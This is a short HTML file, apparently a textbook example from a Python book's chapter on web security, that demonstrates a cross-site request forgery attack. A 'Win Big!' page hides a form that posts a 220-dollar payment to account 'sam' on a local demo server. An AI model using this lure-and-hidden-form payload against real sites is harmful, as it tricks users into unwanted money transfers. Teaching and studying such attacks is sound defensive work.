py3/chapter11/csrf.html

<html>
  <head>
    <title>Win Big!</title>
  </head>
  <body>
    <p>All you have to do is press the button.</p>
    <form method="post" action="http://localhost:5000/pay">
      <input type="hidden" name="account" value="sam">
      <input type="hidden" name="dollars" value="220">
      <input type="hidden" name="message" value="Someone won big">
      <button type="submit">Win Big</button>
    </form>
  </body>
</html>